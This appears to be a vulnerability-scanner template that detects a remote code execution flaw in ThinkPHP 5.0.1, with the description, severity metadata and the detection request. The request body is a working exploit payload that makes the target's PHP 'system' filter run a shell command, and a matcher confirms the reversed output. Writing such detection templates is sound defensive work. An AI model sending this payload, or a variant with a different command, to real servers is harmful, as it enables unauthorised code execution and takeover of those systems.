Description
ThinkPHP 5.0.1 allows remote unauthenticated attackers to execute arbitrary code via the 's' parameter.
ThinkPHP 5.0.1 allows remote unauthenticated attackers to execute arbitrary code via the 's' parameter.
id: thinkphp-501-rce
info:
name: ThinkPHP 5.0.1 - Remote Code Execution
author: lark-lab
severity: critical
description: ThinkPHP 5.0.1 allows remote unauthenticated attackers to execute arbitrary code via the 's' parameter.
reference:
- https://www.exploit-db.com/exploits/46150
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cwe-id: CWE-78
metadata:
max-request: 1
tags: edb,thinkphp,rce,vuln
http:
- method: POST
path:
- "{{BaseURL}}/?s=index/index/index"
body: "s=echo%20thinkphp%20%7C%20rev&_method=__construct&method&filter[]=system"
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: word
part: body
words:
- "phpkniht"
- type: status
status:
- 200
# digest: 4a0a00473045022100ed834d6131847f752a40929db0ba2c315ff6345c7c991d88871baaecc1c39f6c02206989b9358c503b92b85bd731aeb844910ff6b9b49f2245e971f7b0c8e919b863:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.